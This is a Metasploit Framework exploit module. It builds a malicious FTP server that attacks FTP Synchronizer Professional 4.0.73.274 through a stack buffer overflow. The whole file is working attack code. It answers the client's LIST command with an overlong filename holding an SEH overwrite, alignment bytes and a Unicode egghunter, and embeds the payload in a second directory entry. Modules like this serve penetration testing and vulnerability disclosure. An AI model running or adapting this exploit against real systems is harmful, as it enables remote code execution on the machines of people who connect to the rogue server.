## # $Id: ftpsynch_list_reply.rb 10661 2010-10-12 18:40:13Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote include Exploit::Remote::FtpServer def initialize(info = {}) super(update_info(info, 'Name' => 'FTP Synchronizer Professional 4.0.73.274 Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow vulnerability in FTP Synchronizer Pro version 4.0.73.274 The overflow gets triggered by sending an overly long filename to the client in response to a LIST command. The LIST command gets issued when doing a preview or when you have just created a new sync profile and allow the tool to see the differences. This will overwrite a structured exception handler and trigger an access violation. }, 'Author' => [ 'myne-us', #found the bug 'corelanc0d3r' #wrote the exploit ], 'License' => MSF_LICENSE, 'Version' => "$Revision: 10661 $", 'References' => [ [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'BadChars' => "\x00\x0a\x2f\x5c", }, 'Platform' => 'win', 'Targets' => [ [ 'XP Universal', { 'Offset' => 854, 'Ret' => "\x2D\x78" } ], # p/p/r FTPSynchronizer.exe ], 'Privileged' => false, 'DisclosureDate' => 'Oct 12 2010', 'DefaultTarget' => 0)) end def setup super end def on_client_unknown_command(c,cmd,arg) c.put("200 OK\r\n") end def on_client_command_list(c,arg) conn = establish_data_connection(c) if(not conn) c.put("425 Can't build data connection\r\n") return end print_status(" - Data connection set up") code = 150 c.put("#{code} Here comes the directory listing.\r\n") code = 226 c.put("#{code} Directory send ok.\r\n") totalsize = 4000 foldername = "A" * target['Offset'] nseh = "\x61\x42" seh = "\x2D\x78" sehpad = "\x44\x62" align = "\x53\x62\x58\x62" align << "\x40\x62" align << "\x05\x11\x10\x62" align << "\x2d\x10\x10\x62" padding = ("\x42\x62" * 53) + ("\x48\x62") #basereg EAX, Unicode encoded egghunter hunter = "PPYAIAIAIAIAQATAXAZAPA3QADAZ" hunter << "ABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAX" hunter << "A58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABA" hunter << "BAB30APB944JBQVE1HJKOLOPB0RBJLBQHHMNNOLM5PZ4" hunter << "4JO7H2WP0P0T4TKZZFOSEZJ6OT5K7KO9WA" buffer = foldername + nseh + seh + sehpad + align + padding + hunter junk = "D" * (totalsize-buffer.length) buffer << junk print_status(" - Sending directory list via data connection") dirlist = "drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{"w00tw00t"+payload.encoded}\r\n" dirlist << "-rw-rw-r-- 1 1176 1176 1060 Aug 16 22:22 #{buffer}\r\n" conn.put("total 2\r\n"+dirlist) print_status(" - Payload sent, wait for hunter...") conn.close return end end